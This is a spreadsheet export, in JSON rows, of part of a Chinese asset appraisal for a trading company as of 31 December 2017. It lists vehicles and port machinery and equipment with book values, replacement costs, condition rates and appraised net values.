["合     计",{"$nulls":8},{"v":21463017.11,"d":"21,463,017.11"},null,{"v":21463017.11,"d":"21,463,017.11"}]
["被评估单位填表人：",{"$nulls":11},"评估人员：孙倩华、凌伟"]
["填表日期：2018年8月28日"]

{"sheet":"4-6-5车辆","index":54,"n_rows":13,"n_cols":17,"rows_kept":13,"merged":[[0,0,0,16],[1,0,1,16],[4,0,5,0],[4,1,5,1],[4,2,5,2],[4,3,5,3],[4,4,5,4],[4,5,5,5],[4,6,5,6],[4,7,5,7],[4,8,5,8],[4,9,4,10],[4,11,4,13],[4,14,5,14],[4,15,5,15],[4,16,5,16],[8,0,8,2],[9,0,9,2],[10,0,10,2]],"flags":["formulas_cached_only"]}
["固定资产—车辆评估明细表"]
["评估基准日：2017年12月31日"]
[{"$nulls":16},"表4-6-5"]
["被评估单位名称：江苏省海东物资贸易有限公司",{"$nulls":15},"金额单位：人民币元"]
["序号","车辆牌号","车辆名称\n及规格型号","生产厂家","计量单位","数量","购置日期","启用日期","已行驶里程(公里)","账面价值",null,"评估价值",null,null,"增减值","增值率%","备注"]
[{"$nulls":9},"原值","净值","原值","成新率%","净值"]
[1,"苏A02333","别克小轿车",null,"辆",1,null,"2007-08-23",315000,{"v":278100,"d":"278,100.00"},{"v":13905,"d":"13,905.00"},{"v":150000,"d":"150,000.00"},{"v":0.15,"d":"15.00%"},{"v":22500,"d":"22,500.00"},8595,61.81]
[2,"苏A36381","尼桑小轿车",null,"辆",1,null,"1997-07-01",null,{"v":226309.06,"d":"226,309.06"},{"v":4344.95,"d":"4,344.95"},{"v":0,"d":"0.00"},{"v":0,"d":"0.00%"},{"v":0,"d":"0.00"},-4344.95,{"v":-100,"d":"-100.00"},"已赠送"]
["合     计",{"$nulls":6},"",null,{"v":278100,"d":"278,100.00"},{"v":18249.95,"d":"18,249.95"},{"v":150000,"d":"150,000.00"},null,{"v":22500,"d":"22,500.00"},4250.05,23.29]
["减：车辆减值准备",{"$nulls":13},0,{"$error":"#DIV/0!"}]
["合      计",{"$nulls":8},{"v":278100,"d":"278,100.00"},{"v":18249.95,"d":"18,249.95"},{"v":150000,"d":"150,000.00"},null,{"v":22500,"d":"22,500.00"},4250.05,23.29]
["被评估单位填表人：",{"$nulls":11},"评估人员：孙倩华、凌伟"]
["填表日期：2018年8月28日"]

{"sheet":"机器设备计算表","index":55,"n_rows":130,"n_cols":39,"rows_kept":130,"hidden":true,"merged":[[0,0,0,38],[1,0,1,38],[2,0,2,24],[2,31,2,37],[3,0,5,0],[3,1,5,1],[3,2,5,2],[3,3,5,3],[3,4,5,4],[3,5,5,5],[3,6,5,6],[3,7,5,7],[3,8,5,8],[3,9,3,24],[3,25,3,34],[3,36,3,37],[3,38,5,38],[4,9,4,11],[4,12,4,13],[4,14,4,15],[4,16,5,16],[4,17,4,18],[4,19,4,20],[4,21,4,22],[4,23,5,23],[4,24,5,24],[4,25,4,28],[4,29,5,29],[4,31,5,31],[4,32,5,32],[4,33,5,33],[4,34,5,34],[4,35,5,35],[4,36,5,36],[4,37,5,37],[123,0,123,1],[123,18,123,24],[123,32,123,37],[124,0,124,1],[124,18,124,24],[124,32,124,37]],"flags":["formulas_cached_only"]}
["机器设备评估计算过程表"]
["评估基准日：2017年12月31日"]
["被评估单位名称：江苏省海东物资贸易有限公司",{"$nulls":30},"索引号: C—17—48"]
["序号","名              称","规格型号","生产厂家","启用时间","计价单位","数量","账面原值","账面单价","完全重置成本",{"$nulls":15},"成新率计算",{"$nulls":10},"残值",null,"备注"]
[{"$nulls":9},"购置费",null,null,"购置运费",null,"购置安装费",null,"购置财务费用","基础费",null,"拆机损失费",null,"搬迁安装费",null,"单位重置价","评估原值","理论成新率",{"$nulls":3},"现场勘察成新率",null,"经济性贬值","功能性贬值","综合成新率","评估确定成新率","评估净值","残值率%","金额"]
[{"$nulls":9},"单价","合计","依据","费率","单位运费","费率","单位安装费",null,"费率","单位基础费","费率","拆机损失费","费率","搬迁安装费",null,null,"已使用年限","尚可使用年限","经济寿命(年)","成新率"]
[1,"电子汽车衡","SCS-120吨 3*16（米）","常州力诺电子衡器有限公司","2014-04-01","套",1,{"v":55000,"d":"55,000.00"},{"v":55000,"d":"55,000.00"},{"v":55000,"d":"55,000.00"},{"v":55000,"d":"55,000.00"},"网络询价",null,0,null,0,null,{"v":0.3,"d":"30.0%"},{"v":16500,"d":"16,500.00"},{"v":0,"d":"0.0%"},0,{"v":0,"d":"0.0%"},0,{"v":71500,"d":"71,500.00"},{"v":71500,"d":"71,500.00"},4,11,15,{"v":0.7333,"d":"73.33%"},{"v":0.7,"d":"70%"},{"$nulls":3},{"v":0.7133,"d":"71.33%"},{"v":0.71,"d":"71%"},{"v":50765,"d":"50,765.00"},0.03,{"v":2145,"d":"2,145.00"}]
[2,"电子汽车衡","SCS-100型号3*9米","江西西格玛称重设备制造有限公司","2016-09-01","套",1,{"v":27934.47,"d":"27,934.47"},{"v":27934.47,"d":"27,934.47"},{"v":39000,"d":"39,000.00"},{"v":39000,"d":"39,000.00"},"网络询价",null,0,null,0,null,{"v":0.3,"d":"30.0%"},{"v":11700,"d":"11,700.00"},{"v":0,"d":"0.0%"},0,{"v":0,"d":"0.0%"},0,{"v":50700,"d":"50,700.00"},{"v":50700,"d":"50,700.00"},1.58,13.42,15,{"v":0.8947,"d":"89.47%"},{"v":0.86,"d":"86%"},{"$nulls":3},{"v":0.8739,"d":"87.39%"},{"v":0.87,"d":"87%"},{"v":44109,"d":"44,109.00"},0.03,{"v":1521,"d":"1,521.00"}]
[3,"门座式起重机","25T-30M","江苏鼎盛重工有限公司","2015-12-01","台",1,{"v":4615384.6,"d":"4,615,384.60"},{"v":4615384.6,"d":"4,615,384.60"},{"v":5000000,"d":"5,000,000.00"},{"v":5000000,"d":"5,000,000.00"},"厂家询价13917088851",null,0,null,0,null,null,0,{"v":0,"d":"0.0%"},0,{"v":0,"d":"0.0%"},0,{"v":5000000,"d":"5,000,000.00"},{"v":5000000,"d":"5,000,000.00"},2.33,17.67,20,{"v":0.8835,"d":"88.35%"},{"v":0.85,"d":"85%"},{"$nulls":3},{"v":0.8634,"d":"86.34%"},{"v":0.86,"d":"86%"},{"v":4300000,"d":"4,300,000.00"},0.03,{"v":150000,"d":"150,000.00"}]
[4,"门座式起重机","16T-30M","江苏鼎盛重工有限公司","2015-12-01","台",1,{"v":3675213.7,"d":"3,675,213.70"},{"v":3675213.7,"d":"3,675,213.70"},{"v":4040000,"d":"4,040,000.00"},{"v":4040000,"d":"4,040,000.00"},"厂家询价13917088851",null,0,null,0,null,null,0,{"v":0,"d":"0.0%"},0,{"v":0,"d":"0.0%"},0,{"v":4040000,"d":"4,040,000.00"},{"v":4040000,"d":"4,040,000.00"},2.33,17.67,20,{"v":0.8835,"d":"88.35%"},{"v":0.85,"d":"85%"},{"$nulls":3},{"v":0.8634,"d":"86.34%"},{"v":0.86,"d":"86%"},{"v":3474400,"d":"3,474,400.00"},0.03,{"v":121200,"d":"121,200.00"}]
[5,"吊装夹具","吊装","董烽","2015-11-01","套",1,{"v":8500,"d":"8,500.00"},{"v":8500,"d":"8,500.00"},{"v":8500,"d":"8,500.00"},{"v":8500,"d":"8,500.00"},"近期购入",null,0,null,0,null,null,0,{"v":0,"d":"0.0%"},0,{"v":0,"d":"0.0%"},0,{"v":8500,"d":"8,500.00"},{"v":8500,"d":"8,500.00"},2.42,12.58,15,{"v":0.8387,"d":"83.87%"},{"v":0.81,"d":"81%"},{"$nulls":3},{"v":0.8215,"d":"82.15%"},{"v":0.82,"d":"82%"},{"v":6970,"d":"6,970.00"},0.03,{"v":255,"d":"255.00"}]
[6,"皮带运输机、漏斗、卸货滑板",0,"阳新枫林一建工程建筑有限公司","2016-10-01","套",1,{"v":776699.03,"d":"776,699.03"},{"v":776699.03,"d":"776,699.03"},{"v":776699.03,"d":"776,699.03"},{"v":776699.03,"d":"776,699.03"},"近期购入",null,0,null,0,null,null,0,{"v":0,"d":"0.0%"},0,{"v":0,"d":"0.0%"},0,{"v":776699.03,"d":"776,699.03"},{"v":776699.03,"d":"776,699.03"},1.5,13.5,15,{"v":0.9,"d":"90.00%"},{"v":0.87,"d":"87%"},{"$nulls":3},{"v":0.882,"d":"88.20%"},{"v":0.88,"d":"88%"},{"v":683495.15,"d":"683,495.15"},0.03,{"v":23300.97,"d":"23,300.97"}]
[7,"码头装卸料斗设备制作安装工程",0,"阳新枫林一建工程建筑有限公司","2018-03-01","项",1,{"v":85585.59,"d":"85,585.59"},{"v":85585.59,"d":"85,585.59"},{"v":85585.59,"d":"85,585.59"},{"v":85585.59,"d":"85,585.59"},"近期购入",null,0,null,0,null,null,0,{"v":0,"d":"0.0%"},0,{"v":0,"d":"0.0%"},0,{"v":85585.59,"d":"85,585.59"},{"v":85585.59,"d":"85,585.59"},0.08,14.92,15,{"v":0.9947,"d":"99.47%"},{"v":0.96,"d":"96%"},{"$nulls":3},{"v":0.9739,"d":"97.39%"},{"v":0.97,"d":"97%"},{"v":83018.02,"d":"83,018.02"},0.03,{"v":2567.57,"d":"2,567.57"}]
[8,"电子计量装置","变压器计量装置","国网江西瑞昌市供电有限责任公司","2014-04-01","套",1,{"v":44407,"d":"44,407.00"},{"v":44407,"d":"44,407.00"},{"v":44407,"d":"44,407.00"},{"v":44407,"d":"44,407.00"},"近期购入",null,0,null,0,null,null,0,{"v":0,"d":"0.0%"},0,{"v":0,"d":"0.0%"},0,{"v":44407,"d":"44,407.00"},{"v":44407,"d":"44,407.00"},4,11,15,{"v":0.7333,"d":"73.33%"},{"v":0.7,"d":"70%"},{"$nulls":3},{"v":0.7133,"d":"71.33%"},{"v":0.71,"d":"71%"},{"v":31528.97,"d":"31,528.97"},0.03,{"v":1332.21,"d":"1,332.21"}]
[9,"变压器工程","SCB10-1250干式","瑞昌市佳能电力服务中心","2014-05-01","项",1,{"v":761008,"d":"761,008.00"},{"v":761008,"d":"761,008.00"},{"v":761008,"d":"761,008.00"},{"v":761008,"d":"761,008.00"},"近期购入",null,0,null,0,null,null,0,{"v":0,"d":"0.0%"},0,{"v":0,"d":"0.0%"},0,{"v":761008,"d":"761,008.00"},{"v":761008,"d":"761,008.00"},3.92,21.08,25,{"v":0.8432,"d":"84.32%"},{"v":0.81,"d":"81%"},{"$nulls":3},{"v":0.8233,"d":"82.33%"},{"v":0.82,"d":"82%"},{"v":624026.56,"d":"624,026.56"},0.03,{"v":22830.24,"d":"22,830.24"}]
[10,"变压器工程","SCB10-1250干式","江苏中容科技有限公司  ","2015-11-01","项",1,{"v":452121,"d":"452,121.00"},{"v":452121,"d":"452,121.00"},{"v":452121,"d":"452,121.00"},{"v":452121,"d":"452,121.00"},"近期购入",null,0,null,0,null,null,0,{"v":0,"d":"0.0%"},0,{"v":0,"d":"0.0%"},0,{"v":452121,"d":"452,121.00"},{"v":452121,"d":"452,121.00"},2.42,12.58,15,{"v":0.8387,"d":"83.87%"},{"v":0.81,"d":"81%"},{"$nulls":3},{"v":0.8215,"d":"82.15%"},{"v":0.82,"d":"82%"},{"v":370739.22,"d":"370,739.22"},0.03,{"v":13563.63,"d":"13,563.63"}]
[11,"码头1#引桥伸缩门","1.6双电机","鄱阳县万邦机电设备经营部","2015-11-01","台",1,{"v":22940,"d":"22,940.00"},{"v":22940,"d":"22,940.00"},{"v":22940,"d":"22,940.00"},{"v":22940,"d":"22,940.00"},"近期购入",null,0,null,0,null,null,0,{"v":0,"d":"0.0%"},0,{"v":0,"d":"0.0%"},0,{"v":22940,"d":"22,940.00"},{"v":22940,"d":"22,940.00"},2.42,12.58,15,{"v":0.8387,"d":"83.87%"},{"v":0.81,"d":"81%"},{"$nulls":3},{"v":0.8215,"d":"82.15%"},{"v":0.82,"d":"82%"},{"v":18810.8,"d":"18,810.80"},0.03,{"v":688.2,"d":"688.20"}]
[12,"电动伸缩门","1.6双电机","佛山市荣和昌盛门业有限公司 ","2016-07-01","套",1,{"v":18000,"d":"18,000.00"},{"v":18000,"d":"18,000.00"},{"v":18000,"d":"18,000.00"},{"v":18000,"d":"18,000.00"},"近期购入",null,0,null,0,null,null,0,{"v":0,"d":"0.0%"},0,{"v":0,"d":"0.0%"},0,{"v":18000,"d":"18,000.00"},{"v":18000,"d":"18,000.00"},1.75,13.25,15,{"v":0.8833,"d":"88.33%"},{"v":0.85,"d":"85%"},{"$nulls":3},{"v":0.8633,"d":"86.33%"},{"v":0.86,"d":"86%"},{"v":15480,"d":"15,480.00"},0.03,{"v":540,"d":"540.00"}]
[13,"电热鼓风干燥箱","DHG-9240B","上海谷宁仪器有限公司","2015-12-01","台",2,{"v":7900,"d":"7,900.00"},{"v":3950,"d":"3,950.00"},{"v":3950,"d":"3,950.00"},{"v":7900,"d":"7,900.00"},"近期购入",null,0,null,0,null,null,0,{"v":0,"d":"0.0%"},0,{"v":0,"d":"0.0%"},0,{"v":3950,"d":"3,950.00"},{"v":7900,"d":"7,900.00"},2.33,12.67,15,{"v":0.8447,"d":"84.47%"},{"v":0.81,"d":"81%"},{"$nulls":3},{"v":0.8239,"d":"82.39%"},{"v":0.82,"d":"82%"},{"v":6478,"d":"6,478.00"},0.03,{"v":237,"d":"237.00"}]
[14,"不锈钢电热板","GNKB-3B","上海谷宁仪器有限公司","2015-12-01","台",2,{"v":2100,"d":"2,100.00"},{"v":1050,"d":"1,050.00"},{"v":1050,"d":"1,050.00"},{"v":2100,"d":"2,100.00"},"近期购入",null,0,null,0,null,null,0,{"v":0,"d":"0.0%"},0,{"v":0,"d":"0.0%"},0,{"v":1050,"d":"1,050.00"},{"v":2100,"d":"2,100.00"},2.33,12.67,15,{"v":0.8447,"d":"84.47%"},{"v":0.81,"d":"81%"},{"$nulls":3},{"v":0.8239,"d":"82.39%"},{"v":0.82,"d":"82%"},{"v":1722,"d":"1,722.00"},0.03,{"v":63,"d":"63.00"}]
[15,"电热恒温水浴锅","HH-8","上海谷宁仪器有限公司","2015-12-01","台",2,{"v":2100,"d":"2,100.00"},{"v":1050,"d":"1,050.00"},{"v":1050,"d":"1,050.00"},{"v":2100,"d":"2,100.00"},"近期购入",null,0,null,0,null,null,0,{"v":0,"d":"0.0%"},0,{"v":0,"d":"0.0%"},0,{"v":1050,"d":"1,050.00"},{"v":2100,"d":"2,100.00"},2.33,12.67,15,{"v":0.8447,"d":"84.47%"},{"v":0.81,"d":"81%"},{"$nulls":3},{"v":0.8239,"d":"82.39%"},{"v":0.82,"d":"82%"},{"v":1722,"d":"1,722.00"},0.03,{"v":63,"d":"63.00"}]
[16,"电动车","绿风",0,"2016-10-01","辆",2,{"v":4500,"d":"4,500.00"},{"v":2250,"d":"2,250.00"},{"v":2250,"d":"2,250.00"},{"v":4500,"d":"4,500.00"},"近期购入",null,0,null,0,null,null,0,{"v":0,"d":"0.0%"},0,{"v":0,"d":"0.0%"},0,{"v":2250,"d":"2,250.00"},{"v":4500,"d":"4,500.00"},1.5,3.5,5,{"v":0.7,"d":"70.00%"},{"v":0.67,"d":"67%"},{"$nulls":3},{"v":0.682,"d":"68.20%"},{"v":0.68,"d":"68%"},{"v":3060,"d":"3,060.00"},0.03,{"v":135,"d":"135.00"}]
[17,"联检大楼智能电动伸缩门",0,"镇江凯豪智能科技有限公司","2018-03-01","套",1,{"v":33333.33,"d":"33,333.33"},{"v":33333.33,"d":"33,333.33"},{"v":33333.33,"d":"33,333.33"},{"v":33333.33,"d":"33,333.33"},"近期购入",null,0,null,0,null,null,0,{"v":0,"d":"0.0%"},0,{"v":0,"d":"0.0%"},0,{"v":33333.33,"d":"33,333.33"},{"v":33333.33,"d":"33,333.33"},0.08,14.92,15,{"v":0.9947,"d":"99.47%"},{"v":0.96,"d":"96%"},{"$nulls":3},{"v":0.9739,"d":"97.39%"},{"v":0.97,"d":"97%"},{"v":32333.33,"d":"32,333.33"},0.03,{"v":1000,"d":"1,000.00"}]
[18,"IC卡自动识别系统(1)",0,"南昌瑞翔检验检疫工程技术有限公司","2017-12-31","套",1,{"v":36247.86,"d":"36,247.86"},{"v":36247.86,"d":"36,247.86"},{"v":36247.86,"d":"36,247.86"},{"v":36247.86,"d":"36,247.86"},"近期购入",null,0,null,0,null,null,0,{"v":0,"d":"0.0%"},0,{"v":0,"d":"0.0%"},0,{"v":36247.86,"d":"36,247.86"},{"v":36247.86,"d":"36,247.86"},0.25,9.75,10,{"v":0.975,"d":"97.50%"},{"v":0.95,"d":"95%"},{"$nulls":3},{"v":0.96,"d":"96.00%"},{"v":0.96,"d":"96%"},{"v":34797.95,"d":"34,797.95"}]
[19,"LED补光灯(2)",0,"南昌瑞翔检验检疫工程技术有限公司","2017-12-31","个",2,{"v":5982.91,"d":"5,982.91"},{"v":2991.46,"d":"2,991.46"},{"v":2991.46,"d":"2,991.46"},{"v":5982.92,"d":"5,982.92"},"近期购入",null,0,null,0,null,null,0,{"v":0,"d":"0.0%"},0,{"v":0,"d":"0.0%"},0,{"v":2991.46,"d":"2,991.46"},{"v":5982.92,"d":"5,982.92"},0.25,9.75,10,{"v":0.975,"d":"97.50%"},{"v":0.95,"d":"95%"},{"$nulls":3},{"v":0.96,"d":"96.00%"},{"v":0.96,"d":"96%"},{"v":5743.6,"d":"5,743.60"}]
[20,"车牌图像抓拍识别系统对接软件(2)",0,"南昌瑞翔检验检疫工程技术有限公司","2017-12-31","项",2,{"v":8547.01,"d":"8,547.01"},{"v":4273.51,"d":"4,273.51"},{"v":4273.51,"d":"4,273.51"},{"v":8547.02,"d":"8,547.02"},"近期购入",null,0,null,0,null,null,0,{"v":0,"d":"0.0%"},0,{"v":0,"d":"0.0%"},0,{"v":4273.51,"d":"4,273.51"},{"v":8547.02,"d":"8,547.02"},0.25,9.75,10,{"v":0.975,"d":"97.50%"},{"v":0.95,"d":"95%"},{"$nulls":3},{"v":0.96,"d":"96.00%"},{"v":0.96,"d":"96%"},{"v":8205.14,"d":"8,205.14"}]
[21,"车牌抓拍系统",0,"深圳市航通智能技术有限公司","2016-05-01","pcs",1,{"v":45299.15,"d":"45,299.15"},{"v":45299.15,"d":"45,299.15"},{"v":45299.15,"d":"45,299.15"},{"v":45299.15,"d":"45,299.15"},"近期购入",null,0,null,0,null,null,0,{"v":0,"d":"0.0%"},0,{"v":0,"d":"0.0%"},0,{"v":45299.15,"d":"45,299.15"},{"v":45299.15,"d":"45,299.15"},1.92,8.08,10,{"v":0.808,"d":"80.80%"},{"v":0.78,"d":"78%"},{"$nulls":3},{"v":0.7912,"d":"79.12%"},{"v":0.79,"d":"79%"},{"v":35786.33,"d":"35,786.33"}]
[22,"电子车牌自动识别系统(1)",0,"南昌瑞翔检验检疫工程技术有限公司","2017-12-31","套",1,{"v":41974.36,"d":"41,974.36"},{"v":41974.36,"d":"41,974.36"},{"v":41974.36,"d":"41,974.36"},{"v":41974.36,"d":"41,974.36"},"近期购入",null,0,null,0,null,null,0,{"v":0,"d":"0.0%"},0,{"v":0,"d":"0.0%"},0,{"v":41974.36,"d":"41,974.36"},{"v":41974.36,"d":"41,974.36"},0.25,9.75,10,{"v":0.975,"d":"97.50%"},{"v":0.95,"d":"95%"},{"$nulls":3},{"v":0.96,"d":"96.00%"},{"v":0.96,"d":"96%"},{"v":40295.39,"d":"40,295.39"},0.03,{"v":1259.23,"d":"1,259.23"}]
[23,"电子地磅采集系统(1)",0,"南昌瑞翔检验检疫工程技术有限公司","2017-12-31","套",1,{"v":9478.63,"d":"9,478.63"},{"v":9478.63,"d":"9,478.63"},{"v":9478.63,"d":"9,478.63"},{"v":9478.63,"d":"9,478.63"},"近期购入",null,0,null,0,null,null,0,{"v":0,"d":"0.0%"},0,{"v":0,"d":"0.0%"},0,{"v":9478.63,"d":"9,478.63"},{"v":9478.63,"d":"9,478.63"},0.25,9.75,10,{"v":0.975,"d":"97.50%"},{"v":0.95,"d":"95%"},{"$nulls":3},{"v":0.96,"d":"96.00%"},{"v":0.96,"d":"96%"},{"v":9099.48,"d":"9,099.48"},0.03,284.36]
[24,"电子关锁施解封系统(1)",0,"南昌瑞翔检验检疫工程技术有限公司","2017-12-31","套",1,{"v":64700.85,"d":"64,700.85"},{"v":64700.85,"d":"64,700.85"},{"v":64700.85,"d":"64,700.85"},{"v":64700.85,"d":"64,700.85"},"近期购入",null,0,null,0,null,null,0,{"v":0,"d":"0.0%"},0,{"v":0,"d":"0.0%"},0,{"v":64700.85,"d":"64,700.85"},{"v":64700.85,"d":"64,700.85"},0.25,9.75,10,{"v":0.975,"d":"97.50%"},{"v":0.95,"d":"95%"},{"$nulls":3},{"v":0.96,"d":"96.00%"},{"v":0.96,"d":"96%"},{"v":62112.82,"d":"62,112.82"},0.03,{"v":1941.03,"d":"1,941.03"}]
[25,"电子监管系统数据查询接口(1)",0,"南昌瑞翔检验检疫工程技术有限公司","2017-12-31","套",1,{"v":17094.02,"d":"17,094.02"},{"v":17094.02,"d":"17,094.02"},{"v":17094.02,"d":"17,094.02"},{"v":17094.02,"d":"17,094.02"},"近期购入",null,0,null,0,null,null,0,{"v":0,"d":"0.0%"},0,{"v":0,"d":"0.0%"},0,{"v":17094.02,"d":"17,094.02"},{"v":17094.02,"d":"17,094.02"},0.25,9.75,10,{"v":0.975,"d":"97.50%"},{"v":0.95,"d":"95%"},{"$nulls":3},{"v":0.96,"d":"96.00%"},{"v":0.96,"d":"96%"},{"v":16410.26,"d":"16,410.26"},0.03,512.82]
[26,"电子平台（精确到0.01g）","YP5002","建发（武汉）有限公司","2016-10-01","套",1,{"v":1965.81,"d":"1,965.81"},{"v":1965.81,"d":"1,965.81"},{"v":1965.81,"d":"1,965.81"},{"v":1965.81,"d":"1,965.81"},"近期购入",null,0,null,0,null,null,0,{"v":0,"d":"0.0%"},0,{"v":0,"d":"0.0%"},0,{"v":1965.81,"d":"1,965.81"},{"v":1965.81,"d":"1,965.81"},1.5,8.5,10,{"v":0.85,"d":"85.00%"},{"v":0.82,"d":"82%"},{"$nulls":3},{"v":0.832,"d":"83.20%"},{"v":0.83,"d":"83%"},{"v":1631.62,"d":"1,631.62"},0.03,58.97]
[27,"电子汽车衡（2）","SCS-100型3.4*18米","江西兴邦衡器有限公司","2015-12-01","台",2,{"v":121200,"d":"121,200.00"},{"v":60600,"d":"60,600.00"},{"v":65000,"d":"65,000.00"},{"v":130000,"d":"130,000.00"},"近期购入",null,0,null,0,null,{"v":0.3,"d":"30.0%"},{"v":5128.21,"d":"5,128.21"},{"v":0,"d":"0.0%"},0,{"v":0,"d":"0.0%"},0,{"v":70128.21,"d":"70,128.21"},{"v":140256.42,"d":"140,256.42"},2.33,12.67,15,{"v":0.8447,"d":"84.47%"},{"v":0.81,"d":"81%"},{"$nulls":3},{"v":0.8239,"d":"82.39%"},{"v":0.82,"d":"82%"},{"v":115010.26,"d":"115,010.26"}]
[28,"防护罩一体化卡口抓拍单元（含电源）(2)",0,"南昌瑞翔检验检疫工程技术有限公司","2017-12-31","个",2,{"v":34188.03,"d":"34,188.03"},{"v":17094.02,"d":"17,094.02"},{"v":17094.02,"d":"17,094.02"},{"v":34188.04,"d":"34,188.04"},"近期购入",null,0,null,0,null,null,0,{"v":0,"d":"0.0%"},0,{"v":0,"d":"0.0%"},0,{"v":17094.02,"d":"17,094.02"},{"v":34188.04,"d":"34,188.04"},0.25,9.75,10,{"v":0.975,"d":"97.50%"},{"v":0.95,"d":"95%"},{"$nulls":3},{"v":0.96,"d":"96.00%"},{"v":0.96,"d":"96%"},{"v":32820.52,"d":"32,820.52"}]
[29,"高杆灯安装工程",0,"九江瑞盛德电气设备有限公司","2015-12-01","项",1,{"v":204000,"d":"204,000.00"},{"v":204000,"d":"204,000.00"},{"v":204000,"d":"204,000.00"},{"v":204000,"d":"204,000.00"},"近期购入",null,0,null,0,null,null,0,{"v":0,"d":"0.0%"},0,{"v":0,"d":"0.0%"},0,{"v":204000,"d":"204,000.00"},{"v":204000,"d":"204,000.00"},2.33,7.67,10,{"v":0.767,"d":"76.70%"},{"v":0.74,"d":"74%"},{"$nulls":3},{"v":0.7508,"d":"75.08%"},{"v":0.75,"d":"75%"},{"v":153000,"d":"153,000.00"},0.03,{"v":6120,"d":"6,120.00"}]
[30,"海信液晶彩电LED60K380U","LED60K380U","武穴工贸泰盛家电有限公司","2015-12-01","套",1,{"v":7179,"d":"7,179.00"},{"v":7179,"d":"7,179.00"},{"v":7179,"d":"7,179.00"},{"v":7179,"d":"7,179.00"},"近期购入",null,0,null,0,null,null,0,{"v":0,"d":"0.0%"},0,{"v":0,"d":"0.0%"},0,{"v":7179,"d":"7,179.00"},{"v":7179,"d":"7,179.00"},2.33,7.67,10,{"v":0.767,"d":"76.70%"},{"v":0.74,"d":"74%"},{"$nulls":3},{"v":0.7508,"d":"75.08%"},{"v":0.75,"d":"75%"},{"v":5384.25,"d":"5,384.25"},0.03,215.37]
[31,"检验检疫（CIQ）数据查询接口(1)",0,"南昌瑞翔检验检疫工程技术有限公司","2017-12-31","套",1,{"v":42735.04,"d":"42,735.04"},{"v":42735.04,"d":"42,735.04"},{"v":42735.04,"d":"42,735.04"},{"v":42735.04,"d":"42,735.04"},"近期购入",null,0,null,0,null,null,0,{"v":0,"d":"0.0%"},0,{"v":0,"d":"0.0%"},0,{"v":42735.04,"d":"42,735.04"},{"v":42735.04,"d":"42,735.04"},0.25,9.75,10,{"v":0.975,"d":"97.50%"},{"v":0.95,"d":"95%"},{"$nulls":3},{"v":0.96,"d":"96.00%"},{"v":0.96,"d":"96%"},{"v":41025.64,"d":"41,025.64"},0.03,{"v":1282.05,"d":"1,282.05"}]
[32,"卡口设备防雷系统(1)",0,"南昌瑞翔检验检疫工程技术有限公司","2017-12-31","套",1,{"v":6871.79,"d":"6,871.79"},{"v":6871.79,"d":"6,871.79"},{"v":6871.79,"d":"6,871.79"},{"v":6871.79,"d":"6,871.79"},"近期购入",null,0,null,0,null,null,0,{"v":0,"d":"0.0%"},0,{"v":0,"d":"0.0%"},0,{"v":6871.79,"d":"6,871.79"},{"v":6871.79,"d":"6,871.79"},0.25,9.75,10,{"v":0.975,"d":"97.50%"},{"v":0.95,"d":"95%"},{"$nulls":3},{"v":0.96,"d":"96.00%"},{"v":0.96,"d":"96%"},{"v":6596.92,"d":"6,596.92"},0.03,206.15]
[33,"卡口设备配电系统(1)",0,"南昌瑞翔检验检疫工程技术有限公司","2017-12-02","套",1,{"v":41025.64,"d":"41,025.64"},{"v":41025.64,"d":"41,025.64"},{"v":41025.64,"d":"41,025.64"},{"v":41025.64,"d":"41,025.64"},"近期购入",null,0,null,0,null,null,0,{"v":0,"d":"0.0%"},0,{"v":0,"d":"0.0%"},0,{"v":41025.64,"d":"41,025.64"},{"v":41025.64,"d":"41,025.64"},0.33,9.67,10,{"v":0.967,"d":"96.70%"},{"v":0.94,"d":"94%"},{"$nulls":3},{"v":0.9508,"d":"95.08%"},{"v":0.95,"d":"95%"},{"v":38974.36,"d":"38,974.36"},0.03,{"v":1230.77,"d":"1,230.77"}]
[34,"可视语音对讲系统(1)",0,"南昌瑞翔检验检疫工程技术有限公司","2017-12-02","套",1,{"v":23042.74,"d":"23,042.74"},{"v":23042.74,"d":"23,042.74"},{"v":23042.74,"d":"23,042.74"},{"v":23042.74,"d":"23,042.74"},"近期购入",null,0,null,0,null,null,0,{"v":0,"d":"0.0%"},0,{"v":0,"d":"0.0%"},0,{"v":23042.74,"d":"23,042.74"},{"v":23042.74,"d":"23,042.74"},0.33,9.67,10,{"v":0.967,"d":"96.70%"},{"v":0.94,"d":"94%"},{"$nulls":3},{"v":0.9508,"d":"95.08%"},{"v":0.95,"d":"95%"},{"v":21890.6,"d":"21,890.60"},0.03,691.28]
[35,"人形通道(1)",0,"南昌瑞翔检验检疫工程技术有限公司","2017-12-02","套",1,{"v":4700.85,"d":"4,700.85"},{"v":4700.85,"d":"4,700.85"},{"v":4700.85,"d":"4,700.85"},{"v":4700.85,"d":"4,700.85"},"近期购入",null,0,null,0,null,null,0,{"v":0,"d":"0.0%"},0,{"v":0,"d":"0.0%"},0,{"v":4700.85,"d":"4,700.85"},{"v":4700.85,"d":"4,700.85"},0.33,9.67,10,{"v":0.967,"d":"96.70%"},{"v":0.94,"d":"94%"},{"$nulls":3},{"v":0.9508,"d":"95.08%"},{"v":0.95,"d":"95%"},{"v":4465.81,"d":"4,465.81"},0.03,141.03]
[36,"摄像机","索尼（SONY) FDR-AX30 4X","瑞昌文明电脑科技有限公司","2015-12-01","台",1,{"v":5920,"d":"5,920.00"},{"v":5920,"d":"5,920.00"},{"v":5920,"d":"5,920.00"},{"v":5920,"d":"5,920.00"},"近期购入",null,0,null,0,null,null,0,{"v":0,"d":"0.0%"},0,{"v":0,"d":"0.0%"},0,{"v":5920,"d":"5,920.00"},{"v":5920,"d":"5,920.00"},2.33,5.67,8,{"v":0.7088,"d":"70.88%"},{"v":0.68,"d":"68%"},{"$nulls":3},{"v":0.6915,"d":"69.15%"},{"v":0.69,"d":"69%"},{"v":4084.8,"d":"4,084.80"},0.03,{"v":177.6,"d":"177.60"}]
[37,"摄像机及补光灯及安装杆件(2)",0,"南昌瑞翔检验检疫工程技术有限公司","2017-12-02","套",2,{"v":2051.28,"d":"2,051.28"},{"v":1025.64,"d":"1,025.64"},{"v":1025.64,"d":"1,025.64"},{"v":2051.28,"d":"2,051.28"},"近期购入",null,0,null,0,null,null,0,{"v":0,"d":"0.0%"},0,{"v":0,"d":"0.0%"},0,{"v":1025.64,"d":"1,025.64"},{"v":2051.28,"d":"2,051.28"},0.33,9.67,10,{"v":0.967,"d":"96.70%"},{"v":0.94,"d":"94%"},{"$nulls":3},{"v":0.9508,"d":"95.08%"},{"v":0.95,"d":"95%"},{"v":1948.72,"d":"1,948.72"},0.03,61.54]
